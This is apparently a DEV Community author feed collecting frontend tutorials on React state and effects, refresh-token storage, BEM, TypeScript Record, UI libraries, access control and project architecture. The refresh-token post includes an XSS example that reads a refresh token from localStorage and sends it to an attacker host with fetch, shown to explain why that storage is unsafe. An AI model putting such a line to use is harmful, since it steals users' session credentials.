DEV Community: Naser Rasouli

Why console.log After setState Shows the Old Value

Naser Rasouli — Sun, 19 Jul 2026 08:30:00 +0000

Introduction

If you call setState (or setCount) and immediately console.log, you’ll often see the old value. That’s not a bug. React deliberately makes state updates asynchronous and batched to avoid extra renders. This guide explains why that happens and how to read the updated state correctly.

Why doesn’t state change immediately?

setState doesn’t change the value on the spot; it enqueues an update request.
JavaScript keeps running, and React applies the new state on the next render.
Any code running right after setState still sees the previous value.

Behind the scenes:

1) setCount is called.

2) React puts the update in a queue.

3) The rest of your JS keeps executing.

4) React re-renders and the new state becomes available.

Basic example

const [count, setCount] = useState(0);

const handleClick = () => {
  setCount(count + 1);
  console.log(count); // still the previous value
};

console.log runs before the next render, so it logs the old state.

How to read the fresh value

Use `useEffect`

useEffect(() => {
  console.log(count); // always the updated value
}, [count]);

useEffect runs after render, so the logged value is current.

Use a Functional Update

When the new value depends on the previous one, the functional form always has the latest state:

setCount(prev => {
  const next = prev + 1;
  console.log(next); // the new value is here
  return next;
});

Back-to-back updates

Common mistake:

setCount(count + 1);
setCount(count + 1); // both use the stale value

Result is only +1. Correct version:

setCount(prev => prev + 1);
setCount(prev => prev + 1); // total +2

Functional updates ensure each call uses the latest state.

Where you need to be careful

Logging immediately after setState
Sending state to an API right after updating
Branching logic that uses the state in the same tick
Multiple sequential updates on one state without the functional form

Use useEffect or functional updates in these cases.

Quick checklist

Does the update depend on the previous value? → Use the functional form.
Need the fresh value? → Log inside a useEffect that depends on that state.
Doing multiple updates in a row? → Make them all functional so batching works.

Wrap-up

Seeing the old value after setState is expected: React queues and batches updates. To get the new state, either wait for the next render (useEffect) or use the functional updater. Rule of thumb: “If you need the previous state, use a function; if you need the new state, read it after render.”

Cleanup Functions in useEffect: Stop Leaks Before They Start

Naser Rasouli — Wed, 15 Jul 2026 08:30:00 +0000

Introduction

Almost everyone uses useEffect in React for fetching data, timers, or adding event listeners. The part that causes the most silent bugs is the cleanup function. Skip it or write it incorrectly and you get memory leaks, duplicate handlers firing, or the infamous setState on unmounted component. This post shows, with concrete examples, how to write a correct cleanup every time.

What useEffect does and what cleanup means

useEffect is for side effects — work that isn’t directly part of rendering. Its shape:

useEffect(() => {
  // effect: do the side effect

  return () => {
    // cleanup: tear down what you set up
  };
}, deps);

cleanup is the returned function. React runs it in two moments:

Before the effect re-runs when any deps change
When the component unmounts

In Strict Mode (dev), effects are mounted, cleaned up, then mounted again to expose bugs, so correct cleanup matters even more.

When does cleanup run?

1) Before the next effect

If any dependency changes, React calls the previous cleanup first, then runs the new effect.

2) On unmount

When the component leaves the DOM, React calls the last cleanup for that effect.

Order example:

useEffect(() => {
  console.log("effect");
  return () => console.log("cleanup");
}, [count]);

When count goes from 0 → 1, you’ll see: cleanup → effect.

Essential cleanup scenarios

DOM events

useEffect(() => {
  const handleResize = () => console.log(window.innerWidth);
  window.addEventListener("resize", handleResize);

  return () => {
    window.removeEventListener("resize", handleResize);
  };
}, []);

Without removal, each re-run adds another listener and the handler fires multiple times.

Timers (setInterval / setTimeout)

useEffect(() => {
  const id = setInterval(() => console.log("tick"), 1000);
  return () => clearInterval(id);
}, []);

Forget clearInterval and the timer keeps running after unmount, burning CPU.

Subscriptions (socket/observable)

useEffect(() => {
  const unsubscribe = socket.subscribe(data => {
    console.log(data);
  });

  return () => unsubscribe();
}, []);

Every subscription needs an exit path; otherwise old handlers keep receiving messages.

Network requests with AbortController

useEffect(() => {
  const controller = new AbortController();

  fetch("/api/data", { signal: controller.signal })
    .then(res => res.json())
    .then(data => console.log(data))
    .catch(err => {
      if (err.name !== "AbortError") console.error(err);
    });

  return () => controller.abort();
}, []);

Aborting prevents stray responses from calling setState on an unmounted component.

Dependencies and hidden bugs

Each time a dep changes, cleanup from the previous run fires first; rely on stable refs/state for teardown.
If you create handlers inside the effect and omit them from deps, you may remove the wrong reference later (stale closure). Use useCallback or include the dependency.
In Strict Mode dev, the sequence is effect → cleanup → effect for a single mount; make your effect idempotent and reversible with its cleanup.

Common mistakes to avoid

Declaring async directly on the useEffect callback and forgetting to abort requests
Adding event listeners without removing them or with a different reference on cleanup
Relying on setInterval without clearing it
Ignoring the dependency array and working with stale data
Assuming cleanup only runs on unmount

Quick checklist before merging

Does every resource you open (listener, timer, subscription, request) have a teardown path?
Does the dependency array intentionally include everything you use — or is it empty on purpose?
In Strict Mode dev, will effect → cleanup → effect still behave correctly?
Are handlers/callbacks stable so removeEventListener can actually remove them?

Wrap-up

The cleanup function is small, but it prevents big problems. Every time you write useEffect, ask: “What did I start that needs to be shut down?” Answering that keeps your React app free of leaks, duplicate listeners, and setState errors.

Refresh Tokens on the Frontend: Architecture & Implementation

Naser Rasouli — Sun, 12 Jul 2026 08:30:00 +0000

Introduction

Modern SPAs (React, Vue, Next.js, etc.) often rely on JWT-based authentication. After login, the server issues two tokens:

Access Token for authenticating each request
Refresh Token for renewing the Access Token without forcing a new login

The main question:

Where and how do we keep these tokens on the frontend so they stay secure and still deliver a smooth UX?

This guide focuses on refresh tokens — the risks, the right architecture, and a hands-on implementation for the frontend.

Access Token vs. Refresh Token

Access Token

Short-lived (e.g., 5–15 minutes)
Sent with every request (usually Authorization: Bearer <token>)
If stolen, usable until it expires

Refresh Token

A longer-lived, sensitive token whose only job is to:

Issue a new Access Token without forcing the user to log in again.

As long as the Refresh Token is valid, the user can close the tab, come back hours or days later, and still be signed in.

Why bother with a Refresh Token?

With only an Access Token you have two bad choices:

1) Make it short-lived → users get prompted to log in often → bad UX

2) Make it long-lived → if stolen, attackers keep access for a long time → bad security

The split solves this:

Access Token → short-lived → lower risk
Refresh Token → longer-lived → good UX

Key differences

Feature	Access Token	Refresh Token
Purpose	Auth each request	Issue a new Access Token
Lifetime	Short (minutes)	Long (hours/days)
Usage	Sent with every request	Only on refresh endpoint (e.g., `/auth/refresh`)
Suggested storage	In-memory / secure storage	HttpOnly secure cookie on backend domain
Risk if stolen	Medium	High (can mint many Access Tokens)

The full auth flow with refresh

1) Login

User sends credentials.
Server returns an Access Token and sets a Refresh Token as an HttpOnly + Secure cookie.

2) Normal requests

Frontend reads the Access Token (from memory) and sets Authorization.
Server validates and responds.

3) Access Token expires

Server returns 401 Unauthorized.
Frontend detects expiry and calls /auth/refresh (Refresh Token is sent automatically via cookie).

4) New tokens

Server validates the Refresh Token.
If valid:
- Returns a new Access Token.
- Usually issues a new Refresh Token (Token Rotation).
Frontend stores the new Access Token and retries the original request.

5) Logout

Frontend calls POST /auth/logout.
Server invalidates the Refresh Token and clears/expires the cookie.

Never store Refresh Tokens in localStorage

Tempting, but unsafe:

// Unsafe — don't do this
localStorage.setItem("refresh_token", REFRESH_TOKEN);

Because localStorage is readable by JavaScript, an XSS bug lets attackers steal the token:

// XSS example
const refreshToken = localStorage.getItem("refresh_token");
fetch("https://attacker.com/steal?rt=" + encodeURIComponent(refreshToken));

With a stolen Refresh Token, an attacker can mint fresh Access Tokens from anywhere.

Avoid localStorage/sessionStorage for Refresh Tokens.

Best practice storage

For SPAs:

1) Access Token in memory

A simple variable or state manager (Redux, Zustand, etc.)
Lost on full page reload → but Refresh Token issues a new one.

2) Refresh Token in an HttpOnly Secure Cookie

Set by the server on the backend domain.
Key flags:
- HttpOnly → JavaScript can’t read it (XSS-resistant).
- Secure → HTTPS only.
- SameSite=Strict or Lax → lowers CSRF risk.

Example login response header:

Set-Cookie: refresh_token=<token_value>;
  HttpOnly;
  Secure;
  Path=/auth/refresh;
  SameSite=Strict;
  Max-Age=1209600

Path=/auth/refresh → only sent on refresh calls.
SameSite=Strict → avoids cross-site sends (CSRF reduction).

Token Rotation (why it matters)

Token Rotation means:

Every time you use a Refresh Token to get a new Access Token, the server also issues a brand-new Refresh Token and invalidates the old one.

Benefits:

A stolen old Refresh Token dies after your next refresh.
Concurrent use from different IPs flags suspicious activity so the server can close the session.

Simple flow:

1) Request /auth/refresh with Refresh Token #1.

2) Server invalidates #1, returns Access Token + Refresh Token #2.

3) Next time, only #2 works.

Practical frontend setup (Axios)

1) Keep the Access Token in memory

// authStore.js
let accessToken = null;

export function setAccessToken(token) {
  accessToken = token;
}

export function getAccessToken() {
  return accessToken;
}

export function clearAccessToken() {
  accessToken = null;
}

During login:

import axios from "axios";
import { setAccessToken } from "./authStore";

export async function login(email, password) {
  const res = await axios.post("/auth/login", { email, password }, {
    withCredentials: true, // to send/receive HttpOnly cookie
  });

  setAccessToken(res.data.access_token);
}

Note: The Refresh Token is set as an HttpOnly cookie by the backend; the frontend never reads it directly.

2) Add the Access Token to requests (request interceptor)

import axios from "axios";
import { getAccessToken } from "./authStore";

const api = axios.create({
  baseURL: "/api",
  withCredentials: true, // send refresh cookie when needed
});

api.interceptors.request.use((config) => {
  const token = getAccessToken();
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

export default api;

3) Handle 401 and auto-refresh (response interceptor)

import api from "./api";
import { setAccessToken, clearAccessToken } from "./authStore";

let isRefreshing = false;
let pendingRequests = [];

function subscribeTokenRefresh(callback) {
  pendingRequests.push(callback);
}

function onRefreshed(newToken) {
  pendingRequests.forEach((cb) => cb(newToken));
  pendingRequests = [];
}

async function refreshToken() {
  const res = await api.post("/auth/refresh"); // HttpOnly cookie sent automatically
  const newAccessToken = res.data.access_token;
  setAccessToken(newAccessToken);
  return newAccessToken;
}

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config;

    if (error.response?.status === 401 && !originalRequest._retry) {
      originalRequest._retry = true;

      if (!isRefreshing) {
        isRefreshing = true;
        try {
          const newToken = await refreshToken();
          isRefreshing = false;
          onRefreshed(newToken);
          originalRequest.headers.Authorization = `Bearer ${newToken}`;
          return api(originalRequest);
        } catch (err) {
          isRefreshing = false;
          clearAccessToken();
          // window.location.href = "/login";
          return Promise.reject(err);
        }
      }

      return new Promise((resolve) => {
        subscribeTokenRefresh((newToken) => {
          originalRequest.headers.Authorization = `Bearer ${newToken}`;
          resolve(api(originalRequest));
        });
      });
    }

    return Promise.reject(error);
  }
);

Key points:

Only one /auth/refresh call runs at a time.
Other requests that hit 401 queue up and retry after refresh.
After a successful refresh, all queued requests replay with the new token.

Secure logout

import api from "./api";
import { clearAccessToken } from "./authStore";

export async function logout() {
  try {
    await api.post("/auth/logout");
  } finally {
    clearAccessToken();
    // window.location.href = "/login";
  }
}

Steps:

1) Clear the Access Token in the frontend.

2) Ask the backend to invalidate the Refresh Token and clear/expire the cookie.

Notes for SSR frameworks (Next.js)

Keep the Refresh Token in an HttpOnly cookie.
In API Routes/Route Handlers, read and validate the Refresh Token from the cookie.
For Access Tokens:
- On server-render, read from cookies/headers and pass only needed data to the client.
- Or keep the whole refresh logic server-side and expose a secure session to the client.

Security checklist

[x] Don’t store Refresh Tokens in localStorage/sessionStorage
[x] Use HttpOnly + Secure cookies for Refresh Tokens
[x] Keep Access Token in memory
[x] Implement Token Rotation on the backend
[x] Use SameSite=Strict or Lax to reduce CSRF
[x] Enforce HTTPS in real environments
[x] Add an auto-refresh layer on the frontend (401 interceptor)
[x] Implement secure logout that invalidates Refresh Tokens server-side
[x] Monitor logs for suspicious Refresh Token usage

Conclusion

Refresh tokens balance security and UX for modern frontends. Use the pattern:

Short-lived Access Token in memory
Long-lived Refresh Token in an HttpOnly Secure Cookie
Token Rotation to limit blast radius

Implement this flow and you’ll add a strong security layer without forcing users through constant re-logins. Happy coding! 🚀

Why JavaScript Matters More Than Any Framework

Naser Rasouli — Fri, 10 Jul 2026 11:58:53 +0000

Frameworks are tools, not foundations

Frameworks exist to tame complexity, but they stand on JavaScript’s shoulders. If you don’t know the language core:

You don’t understand how the framework actually works
Odd bugs leave you stuck and dependent on docs
API or version changes feel like a wall

Those who know JavaScript deeply understand a framework, not just use it.

JavaScript is a problem-solving language

JavaScript isn’t just for manipulating the DOM; it teaches you how to:

Think about data and state
Handle unexpected situations
Build stable patterns (modules, composition, async patterns)

These skills don’t expire when frameworks change.

JavaScript outlives any framework

Frameworks come and go; APIs change or get abandoned. JavaScript has powered the web for over two decades and keeps getting stronger. Investing in it means investing in a durable skill.

Freedom to choose any framework

When you grasp the language:

You can move between React, Vue, Svelte, or anything new
You learn new frameworks faster
You’re not hostage to one tool when the market shifts

Real debugging is impossible without JavaScript

When things break, docs won’t always save you. You need to know:

What scope is and how closures behave
How async code is scheduled and how the event loop works
How to avoid common Promise pitfalls and handle errors

Without this, debugging is guesswork.

JavaScript bridges frontend and backend

It’s the only language that runs in the browser and on the server (Node.js). Understanding it helps you:

Design and consume APIs with clarity
Model application logic correctly and align with backend
See the system end to end

Recommended learning order

1) Learn JavaScript deeply (scope, closures, async/await, data structures).
2) Practice DOM work, events, and simple state management.
3) Move to a framework—now it’s a tool, not a wall.
4) Learn shared patterns: modularizing code, composition, basic testing.

Takeaway

Frameworks matter, but they’re not the foundation. JavaScript is the pillar of frontend thinking. If you learn the language core well:

You grow faster and decide more independently
Debugging and optimization become logical
Framework or market shifts won’t stop you

Frameworks come and go; JavaScript stays.

A Realistic Frontend Roadmap: Zero to Pro

Naser Rasouli — Wed, 08 Jul 2026 10:34:03 +0000

Why this roadmap?

Becoming a frontend developer is more than watching courses or learning one framework. The real journey mixes a deep understanding of the web, solid technical skills, hands-on practice, and deliberate growth. This guide is built from real-world experience—not just a checklist of topics.

Stage 1: Understand the web before coding

How browsers work: request/response, DNS, CDN, caching, and HTTP in practice.
DOM and rendering; the Critical Rendering Path and why the order of assets matters.
Early security basics: CORS, CSRF, XSS—learn them before they bite you.
Skip this and you end up copying instead of understanding.

Stage 2: HTML for structure and meaning

Semantic HTML, accessibility, SEO, and clean content structure.
Forms, built-in validation, metadata, ARIA, and maintainable page layouts.
Outcome: simple, correct pages with readable, predictable structure.

Stage 3: CSS for design and UX

Layout with Flexbox and Grid, typography, spacing, color, and design tokens.
Responsive and adaptive strategies, media queries, mobile-first thinking.
Mini design systems: CSS variables, lightweight utilities, repeatable patterns.
Goal: interfaces that feel right across devices.

Stage 4: JavaScript for behavior and logic

Core language skills: types, scope, closures, async/await, modules, debugging.
DOM and events, simple state handling, API calls, and common patterns.
Focus on programming thinking, not just the next tool.

Stage 5: Discipline and teamwork with Git

Small, meaningful commits; branches; merges; rebase; pull requests.
Real teamwork: code review, conflict resolution, clear commit messages.
Start documenting and following standards from here onward.

Stage 6: Frameworks and frontend architecture

Choose intentionally (React, Vue, Svelte, or others) by understanding their trade-offs.
Componentization, state management, routing, code splitting, and architectural patterns.
Learn the toolchain: bundlers, linters, formatters, and CI/CD basics.

Stage 7: Quality and optimization

Performance: bundle size, lazy loading, browser caching, Core Web Vitals.
Testing: unit, component, E2E, and a pragmatic coverage strategy.
Accessibility, i18n, and addressing frontend security risks.
“It works” is not enough—aim for fast, stable, maintainable code.

Stage 8: Real experience through practical projects

Take on projects with incomplete specs, real deadlines, and constraints.
Practice documentation, issue management, and iterative planning.
Learn from mistakes: write postmortems and remove recurring failure patterns.

Stage 9: Entering the job market and presenting yourself

Build a real portfolio (not just a todo app): demos, clean code, tests, decision notes.
Keep GitHub active with consistent history, clear READMEs, and closed issues.
In interviews, emphasize your technical decisions and how you collaborate.

Stage 10: Becoming a specialist and keep growing

Think about architecture, DX, UX, maintainability, and guiding others.
Mentoring, documentation, and technical decision-making at team scale become part of the job.
Learning never stops—it just gets more focused and deeper.

Takeaway

This roadmap isn’t the fastest route—it’s the realistic, sustainable one. With patience, practice, and depth, frontend development becomes more than a job; it becomes a craft you can rely on.

BEM Methodology in CSS: predictable naming for clean styles

Naser Rasouli — Wed, 08 Jul 2026 10:32:21 +0000

Why BEM?

As frontend projects grow, CSS quickly turns fragile—poor class names cause style collisions, debugging pain, and slow iteration. BEM gives you a predictable naming pattern so components stay isolated and easy to reason about.

What is BEM?

BEM stands for Block, Element, Modifier. Every class name reflects its role and state.

Core pieces

Block: A standalone UI piece with its own meaning and styles (card, navbar).
Element: A part of the block that relies on it; separated with __ (card__title).
Modifier: A variant or state of a block/element, marked with -- (card--featured, card__button--active).

Naming format

block
block__element
block--modifier
block__element--modifier

Practical example

<div class="card card--featured">
  <h2 class="card__title">Card title</h2>
  <p class="card__description">Short description</p>
  <button class="card__button card__button--active">View</button>
</div>

.card {
  display: grid;
  gap: 12px;
  padding: 16px;
  border: 1px solid #e0e0e0;
  border-radius: 10px;
}

.card--featured {
  border-color: #2563eb;
  box-shadow: 0 8px 24px rgba(37, 99, 235, 0.12);
}

.card__title {
  font-size: 1.1rem;
  margin: 0;
}

.card__description {
  margin: 0;
  color: #4b5563;
}

.card__button {
  justify-self: start;
  padding: 10px 14px;
  border-radius: 8px;
  background: #111827;
  color: #fff;
}

.card__button--active {
  background: #2563eb;
}

Benefits of BEM

Clear readability—class names show role and state
Prevents style bleeding between components
Scales well for large, collaborative codebases
Easier debugging and tracing UI behavior
Encourages repeatable, stable UI patterns

Drawbacks and limits

Class names get longer
HTML can look busy in small projects
Requires team consistency; otherwise benefits disappear

When to use BEM

Medium/large projects with many shared components
Multi-person teams or codebases expected to grow
Component-based architectures (React, Vue, Angular, design systems)
When long-term maintenance matters

Quick usage tips

Pick meaningful, independent block names—not location-based (card over sidebar-card).
Avoid deep nesting in CSS; BEM naming reduces the need for it.
Modifiers should change state, not the fundamental structure of the block.

Takeaway

BEM’s predictable naming prevents CSS collisions and keeps styles maintainable. For teams and long-lived projects that value clean, extensible code, it’s a proven, low-friction pattern.

Building a Crypto Payment Gateway — Looking for Feedback from Developers

Naser Rasouli — Tue, 07 Jul 2026 08:50:08 +0000

👋 Hey DEV community!

I'm currently building a crypto payment gateway and I'd love to get feedback from people who have experience with crypto payments, fintech, or payment infrastructure.

If you've ever:

Built or integrated a crypto payment system
Used crypto payment gateways as a merchant or developer
Encountered frustrating limitations or missing features

I'd love to hear your thoughts.

What features do you think are essential?
What problems should a modern crypto payment gateway solve?
Are there any mistakes or pitfalls I should avoid?

Any ideas, suggestions, or lessons learned are more than welcome. Thanks! 🚀

webdev #fintech #crypto #payments #softwareengineering

Role & Permission Based Access Control in React (Static Access)

Naser Rasouli — Tue, 09 Sep 2025 06:09:57 +0000

When building an admin panel, one of the most important concerns is how to handle access control. Not every user should be able to see or do everything. For example, admins may be able to create and delete users, while editors can only view and update, and viewers should only see information without making changes.
There are many ways to implement access control, but in this article we’ll focus on a simple and static approach. This means roles and permissions are defined in the codebase (not coming from an API), which is often enough for small to medium projects or when your access rules are not supposed to change frequently.

We’ll break it down into two parts:

Route-level access: making sure users can only navigate to the pages they are allowed to.
Component-level access: showing or hiding specific buttons, menus, or features inside a page depending on permissions. This approach keeps your project clean, scalable, and ready to extend if later you decide to fetch permissions dynamically from your backend.

1. Define Roles and Permissions

The first step is to define the roles and their associated permissions. Since we are working with static access control, we can hardcode them inside a roles.ts file.

// roles.ts
export const ROLES = {
  ADMIN: "ADMIN",
  EDITOR: "EDITOR",
  VIEWER: "VIEWER",
} as const;

export const PERMISSIONS = {
  USER_CREATE: "USER_CREATE",
  USER_DELETE: "USER_DELETE",
  USER_VIEW: "USER_VIEW",
} as const;

export const roleAccess = {
  [ROLES.ADMIN]: ["dashboard", "users", "settings"],
  [ROLES.EDITOR]: ["dashboard", "users"],

};

export const rolePermissions = {
  [ROLES.ADMIN]: [PERMISSIONS.USER_CREATE, PERMISSIONS.USER_DELETE, PERMISSIONS.USER_VIEW],


};

Here we defined:

ROLES: user types (admin, editor, viewer).
PERMISSIONS: actions that can be allowed (create, delete, view).
roleAccess: which pages each role can access.
rolePermissions: which actions each role can perform.

2. Route-Level Access with ProtectedRoute

We need to prevent unauthorized users from accessing certain routes. For example, a viewer should not be able to open the users management page.
We can build a ProtectedRoute component that checks if the current user’s role is included in the allowed list. If not, it redirects them to an “unauthorized” page.

// ProtectedRoute.tsx
import { Navigate } from "react-router-dom";
import { useAuth } from "@/hooks/useAuth";
import { roleAccess, ROLES } from "./roles";

export const ProtectedRoute = ({
  children,
  allowed,
}: {
  children: JSX.Element;
  allowed: string[];
}) => {
  const { role } = useAuth();

  if (!role || !allowed.includes(role)) {
    return <Navigate to="/unauthorized" replace />;
  }

  return children;
};

And we can use it in our routes configuration like this:

// routes.tsx
import { ProtectedRoute } from "./ProtectedRoute";
import { roleAccess, ROLES } from "./roles";
import DashboardPage from "@/features/dashboard/pages/DashboardPage";
import UsersPage from "@/features/users/pages/UsersPage";

export const routes = [
  {
    path: "/dashboard",
    element: (
      <ProtectedRoute allowed={roleAccess[ROLES.VIEWER]}>
        <DashboardPage />
      </ProtectedRoute>
    ),
  },
  {
    path: "/users",
    element: (
      <ProtectedRoute allowed={roleAccess[ROLES.EDITOR]}>
        <UsersPage />
      </ProtectedRoute>
    ),
  },
];

Now, only the roles listed in roleAccess will be able to visit these routes.

3. Component-Level Access with AccessControl

Route-level control is not always enough. Often you’ll want to hide or show specific UI elements inside a page depending on the user’s permissions. For example, only admins should see a “Delete User” button.
We can create an AccessControl component that checks for a specific permission.

// AccessControl.tsx
import { ReactNode } from "react";
import { useAuth } from "@/hooks/useAuth";
import { rolePermissions } from "./roles";

interface Props {
  permission: string;
  children: ReactNode;
}

export const AccessControl = ({ permission, children }: Props) => {
  const { role } = useAuth();

  if (!role) return null;

  const permissions = rolePermissions[role] || [];

  return permissions.includes(permission) ? <>{children}</> : null;
};

Usage example inside a page:

import { AccessControl } from "@/components/AccessControl";
import { PERMISSIONS } from "@/routes/roles";

function UsersPage() {
  return (
    <div>
      <h1>User List</h1>

      <AccessControl permission={PERMISSIONS.USER_CREATE}>
        <button>Add User</button>
      </AccessControl>

      <AccessControl permission={PERMISSIONS.USER_DELETE}>
        <button>Delete User</button>
      </AccessControl>
    </div>
  );
}

Conclusion
With just a few simple steps, we created a clean static access control system in React:

ProtectedRoute handles route-level access.
AccessControl handles UI-level access.
Roles and permissions are defined in one place, making it easy to manage.

This approach is perfect for projects where roles and permissions are not changing often. Later, if you want to fetch permissions dynamically from an API, you can simply replace the hardcoded roleAccess and rolePermissions with values coming from your backend.
This makes your admin panel more secure, maintainable, and scalable.
Happy coding 🚀

Mastering Record in TypeScript: The Clean Way to Map Enums to Labels and Colors

Naser Rasouli — Fri, 22 Aug 2025 11:31:30 +0000

“Have you ever needed to display user-friendly labels, icons, or colors for numeric enums in TypeScript? Many devs either use switch statements or ad-hoc objects — but there’s a cleaner, type-safe way: Record.”

What is Record in TypeScript?

Short definition: Record is an object type with keys of type K and values of type T.
Think of it as a type-safe way to define “maps” from a known set of keys to specific values.
Here’s a very simple example using a union type:

// Union type of possible roles
type UserRole = "admin" | "user" | "guest";

// Record<UserRole, string> means:
//   - keys must be "admin" | "user" | "guest"
//   - values must be strings
const roles: Record<UserRole, string> = {
  admin: "Administrator",
  user: "Regular User",
  guest: "Guest User",
};

// ✅ Safe lookup
console.log(roles.admin); // "Administrator"

// ❌ Error: TypeScript won’t let you add an unknown key
// roles.superAdmin = "Super Admin";

This ensures you don’t forget a key, and you can’t accidentally add extra ones.

Using Record with enums (real-world example)

Union types are nice, but in real-world projects we often work with enums. Let’s say you have an enum that represents payment statuses in your application:

enum PaymentStatus {
  Unpaid = 0,
  Paid = 1,
  Failed = 2,
}

If you want to display labels and colors in your UI for each status, the naive way would be a bunch of switch statements. Instead, Record gives us a cleaner, safer approach:

const PaymentStatusMeta: Record<
PaymentStatus, 
{ label: string; color: string }
> = {
  [PaymentStatus.Unpaid]: { label: "Unpaid", color: "orange" },
  [PaymentStatus.Paid]: { label: "Paid", color: "green" },
  [PaymentStatus.Failed]: { label: "Failed", color: "red" },
};

Now, wherever you need metadata for a given status:

const status = PaymentStatus.Paid;
console.log(PaymentStatusMeta[status].label); // "Paid"
console.log(PaymentStatusMeta[status].color); // "green"

Helper function for cleaner usage
Instead of directly accessing PaymentStatusMeta every time, you can wrap it in a function:

function getPaymentStatusMeta(status: PaymentStatus) {
  return PaymentStatusMeta[status];
}

// Usage
const info = getPaymentStatusMeta(PaymentStatus.Failed);
console.log(info.label); // "Failed"
console.log(info.color); // "red"

This makes the code more expressive and also helps if later you need to add logic (like localization or formatting) inside the function without touching the rest of your codebase.

Why use Record? (Advantages)

Using Record in TypeScript to map enums (or unions) to metadata brings several benefits:

Full coverage enforced by TypeScript

TypeScript ensures that every key in your enum or union is included in the Record.
Forgetting a case results in a compile-time error, preventing runtime bugs.

Strong type safety

Values inside the Record must match the type you specify.
No more accidentally assigning a string where an object is expected.

Extensible with metadata

You can easily add more fields, like icon, tooltip, localeLabel, etc.

Cleaner than switch/case statements

No repeated switch statements scattered across your codebase.
Lookup is simple and readable: PaymentStatusMeta[status].label

Predictable and maintainable

Future developers immediately know where to find mappings. Adding a new enum value only requires updating one place.

If you found this guide useful:
✅ Save it for future reference.
🔁 Share it with your team or developer friends.
💬 Comment below with your favorite TypeScript patterns or how you handle enum metadata in your projects.

Happy coding! 🚀

Ant Design vs MUI: Which UI Library is Better for Your Next React Project?

Naser Rasouli — Fri, 08 Aug 2025 13:12:23 +0000

When building user interfaces in React, choosing the right UI library can have a significant impact on your development speed, code quality, and user experience.
Among the many options available, two libraries stand out: Ant Design and MUI (Material UI). Both are powerful, widely-used, and well-documented — but which one is best for your project?
As a frontend developer who has worked with both Ant Design and MUI in real-world projects, I’ve had the chance to experience their strengths, weaknesses, and subtle differences firsthand. In this article, I’ll share a detailed comparison based on practical use — not just surface-level features.

🔹 What Are Ant Design and MUI?

MUI (Material UI)

Developed by the MUI team.
Based on Google’s Material Design.
Offers 90+ components.
Known for great documentation and strong TypeScript support.

Ant Design

Developed by Alibaba.
Focused on enterprise-level design with a clean, Eastern-inspired aesthetic.
Great for building admin panels and business dashboards.
Offers a full design system with layout, components, icons, and utilities.

1. Developer Experience (DX)
Both libraries offer a solid developer experience, but with different tools and styles.
MUI uses Emotion or styled-components for styling, giving you full power of CSS-in-JS and React’s ecosystem.
Ant Design uses Less, which can be powerful but requires extra configuration in Webpack/Vite for customization.

2. Documentation
MUI provides in-depth documentation with live examples, clear explanations, and customization guides.
Ant Design also has decent documentation, but some advanced topics (like dynamic forms or theme customization) can feel lacking or scattered.

3. Design and Aesthetics (UI/UX)
There’s a clear difference in design philosophy:
MUI looks modern, clean, and mobile-friendly. It’s a perfect fit for apps that follow Material Design guidelines.
Ant Design feels more professional and formal, making it ideal for enterprise dashboards or B2B applications.
For example:
Ant’s Form component is much more powerful than MUI’s out of the box.
MUI’s typography and spacing system is more intuitive for custom layouts.

4. Customization & Theming
MUI offers:

A powerful theming system with full TypeScript support.
Light/dark mode out of the box.
Theme customization using the ThemeProvider. Ant Design allows theme customization using Less variables, but:
You need additional setup with Webpack/Vite plugins.
Real-time theme switching is harder to implement.

5. TypeScript Support
Both libraries support TypeScript, but:
MUI has excellent TypeScript support, with strong typing for generics and customizable components.
Ant Design also works well with TS, though complex components like Form or Table can get tricky.

6. RTL Support (Right-to-Left)
MUI provides built-in RTL support. Just set direction: "rtl" in your theme.
Ant Design supports RTL, but requires manual setup and injecting RTL-specific styles using ConfigProvider.

7. Performance & Tree-Shaking
MUI is designed to support tree-shaking, meaning you can import only what you use, keeping bundle sizes small.
Ant Design is heavier by default, but you can optimize it using babel-plugin-import or Vite’s plugin to enable on-demand loading.

✅ Final Thoughts: Which One Should You Choose?
It depends on your project needs and design direction:
🔹 Choose MUI if you:

Prefer Google’s Material Design
Need easy theming and light/dark mode
Want better TypeScript support
Prioritize mobile-friendly design

🔸 Choose Ant Design if you:

Are building enterprise dashboards or admin panels
Need powerful table and form components
Prefer a more formal, structured UI
Don’t mind using Less and extra config

There’s no one-size-fits-all answer — both libraries are excellent. Just pick the one that matches your team’s skills and your project’s priorities.

Scalable React Projects with Feature-Based Architecture

Naser Rasouli — Sun, 18 May 2025 11:46:23 +0000

Introduction
scaling React apps gets messy quickly as they grow. Flat structures like components/, pages/, and hooks/ don't scale well for real-world applications.
As your application grows, you'll end up with hundreds of unrelated components and hooks dumped into global folders. Searching and maintaining becomes a nightmare.

What is Feature-Based Architecture?

Feature-Based Architecture is an organizational pattern where code is grouped by feature or domain, instead of by file type. In traditional React project structures, it's common to see directories like components/, pages/, hooks/, and utils/ at the top level. This might work for small projects, but it quickly becomes hard to manage as the app grows.
In contrast, feature-based architecture groups all files related to a specific functionality (e.g., Posts, Products, Users) together in one directory. Each feature becomes a self-contained module with its own UI components, logic, hooks, types, tests, and even routing if needed.

🧩 Traditional Structure (By File Type)

src/
├── components/
│   ├── PostItem.tsx
│   ├── PostList.tsx
├── pages/
│   └── PostsPage.tsx
├── hooks/
│   └── usePost.ts
├── types/
│   └── post.types.ts

❌ This leads to scattered logic. If you're working on "Posts", you’ll jump across multiple folders to maintain or update code.

✅ Feature-Based Structure

├── core/       # Global configurations, assets, context providers, styles
│   ├── assets/
│   │   └── css/
│   │       └── App.css
│   └── config/ # App-wide config files (e.g., api config, constants)
│       └── env.ts
│
├── layouts/    # Application-level layouts
│   ├── Header.tsx
│   └── FullLayout.tsx
│
├── features/
│   └── Post/
│       ├── components/
│       │   ├── PostItem.tsx
│       │   └── PostList.tsx
│       ├── hooks/
│       │   └── usePost.ts
│       ├── types/
│       │   └── post.types.ts
│       ├── views/
│       │   └── PostView.tsx
│       └── routes.ts
│
├── router.ts     # Application-wide routing
├── main.tsx      # React entry point
└── index.html

📌 Notes
core/: This is where you put global, app-wide concerns that aren't tied to a specific feature. Examples:

Global CSS or theming
API clients
Context providers (like AuthProvider, ThemeProvider)
Application configuration files (env.ts, routes.config.ts)
layouts/: Layout components that define page structure (headers, sidebars, wrappers)
features/: Each folder represents a self-contained domain, including everything that feature needs (UI, logic, routing, etc.)

🔍 With this layout, the root-level src/ is clean and clearly segmented into global utilities (core/, layouts/) and isolated business logic (features/).

📦 Example Repository
To help you get started, I’ve built a sample boilerplate using the exact structure described in this article.

